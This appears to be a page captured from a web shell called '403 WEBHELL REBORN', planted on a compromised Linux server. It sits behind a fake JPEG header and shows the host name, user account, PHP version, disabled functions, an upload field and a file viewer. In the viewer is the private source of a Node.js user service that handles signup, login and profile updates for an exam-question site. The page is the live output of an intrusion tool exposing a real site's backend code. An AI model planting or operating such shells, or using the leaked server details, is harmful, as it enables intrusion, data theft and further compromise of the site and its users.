403 WEBHELL REBORN

ÿØÿà JFIF ` ` ÿþ 403 WEBHELL REBORN 403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /var/www/node_services/apicentralquestoes/src/services/
Upload File :
Current File : //var/www/node_services/apicentralquestoes/src/services/userService.js
require("dotenv").config();
const User = require("../models/User");
const Assinatura = require("../models/Assinatura");
const jwt = require("jsonwebtoken");
const bcrypt = require("bcrypt");
const { Op } = require("sequelize");
const MENSAGENS_ERRO = require("../utils/mensagensErro");
const {
  validarEntradaUsuario,
  validarCPF,
} = require("../validations/userValidations");
const Faculdade = require("../models/Faculdade");

const validarTelefone = (telefone) => {
  const telefoneRegex = /^\(\d{2}\) \d{5}-\d{4}$/;
  return telefoneRegex.test(telefone);
};

const userService = {
  criarUsuario: async (
    nome,
    email,
    senha,
    segmento,
    telefone,
    faculdade,
    cpf
  ) => {
    const erroValidacao = validarEntradaUsuario(
      nome,
      email,
      senha,
      telefone,
      faculdade,
      cpf
    );
    if (erroValidacao) return erroValidacao;

    if (!validarTelefone(telefone)) {
      return { erro: 400, mensagem: MENSAGENS_ERRO.TELEFONE_INVALIDO };
    }

    if (!validarCPF(cpf)) {
      return { erro: 400, mensagem: "CPF inválido." };
    }

    try {
      const userExistente = await User.findOne({ where: { email } });
      if (userExistente) {
        return { erro: 400, mensagem: MENSAGENS_ERRO.EMAIL_EXISTENTE };
      }

      const cpfExistente = await User.findOne({ where: { cpf } });
      if (cpfExistente) {
        return { erro: 400, mensagem: "CPF já cadastrado." };
      }

      let faculdadeId = null;

      const faculdadeExistente = await Faculdade.findOne({
        where: { nome: faculdade },
      });

      if (faculdadeExistente) {
        faculdadeId = faculdadeExistente.id;
      } else if (segmento === "Direito") {
      } else {
        return {
          erro: 400,
          mensagem: "Faculdade inválida para o segmento de Medicina.",
        };
      }

      const senhaHashed = await bcrypt.hash(senha, 10);
      const novoUser = await User.create({
        nome,
        email,
        senha: senhaHashed,
        segmento,
        telefone,
        faculdade_nome: faculdade,
        faculdade_id: faculdadeId,
        cpf,
      });

      await Assinatura.create({
        user_id: novoUser.id,
        plano_id: 3,
        expires_at: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      });

      return novoUser;
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },

  loginUsuario: async (email, senha) => {
    if (!email || !senha) {
      return { erro: 400, mensagem: MENSAGENS_ERRO.CAMPOS_OBRIGATORIOS };
    }

    try {
      const user = await User.findOne({
        where: { email },
        include: [
          {
            model: Assinatura,
            as: "assinaturas",
            attributes: ["plano_id", "expires_at"],
          },
        ],
      });
      if (!user)
        return { erro: 400, mensagem: MENSAGENS_ERRO.EMAIL_NAO_CADASTRADO };

      const senhaCorreta = await bcrypt.compare(senha, user.senha);
      if (!senhaCorreta)
        return { erro: 400, mensagem: MENSAGENS_ERRO.EMAIL_SENHA_INCORRETOS };

      const token = jwt.sign({ id: user.id }, process.env.JWT_SECRET, {
        expiresIn: "1h",
      });

      return { user, token };
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },

  atualizarUsuario: async (
    id,
    nome,
    email,
    senha,
    telefone,
    segmento,
    faculdade,
    cpf
  ) => {
    const erroValidacao = validarEntradaUsuario(
      nome,
      email,
      senha,
      telefone,
      faculdade,
      cpf
    );
    if (erroValidacao) return erroValidacao;

    // if (!data_nascimento)
    //   return { erro: 400, mensagem: MENSAGENS_ERRO.CAMPOS_OBRIGATORIOS };

    if (!validarTelefone(telefone)) {
      return { erro: 400, mensagem: MENSAGENS_ERRO.TELEFONE_INVALIDO };
    }

    if (!validarCPF(cpf)) {
      return { erro: 400, mensagem: "CPF inválido." };
    }

    try {
      const userExistente = await User.findOne({ where: { id } });
      if (!userExistente) {
        return { erro: 404, mensagem: MENSAGENS_ERRO.USUARIO_NAO_ENCONTRADO };
      }

      const emailExistente = await User.findOne({
        where: { email, id: { [Op.ne]: id } },
      });
      if (emailExistente) {
        return { erro: 400, mensagem: MENSAGENS_ERRO.EMAIL_EXISTENTE };
      }

      let faculdadeId = null;
      let faculdadeNome = null;

      if (segmento === "Medicina") {
        const faculdadeExistente = await Faculdade.findOne({
          where: { nome: faculdade },
        });

        if (!faculdadeExistente) {
          return {
            erro: 400,
            mensagem: "Faculdade inválida para o segmento de Medicina.",
          };
        }

        faculdadeId = faculdadeExistente.id;
        faculdadeNome = faculdadeExistente.nome;
      } else if (segmento === "Direito") {
        faculdadeNome = faculdade;
      } else {
        return { erro: 400, mensagem: "Segmento inválido." };
      }

      const senhaHashed = senha
        ? await bcrypt.hash(senha, 10)
        : userExistente.senha;

      await User.update(
        {
          email,
          senha: senhaHashed,
          telefone,
          segmento,
          faculdade_nome: faculdadeNome,
          faculdade_id: faculdadeId,
        },
        { where: { id } }
      );

      return { mensagem: "Usuário atualizado com sucesso." };
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },
};

module.exports = userService;
Anon7 - 2021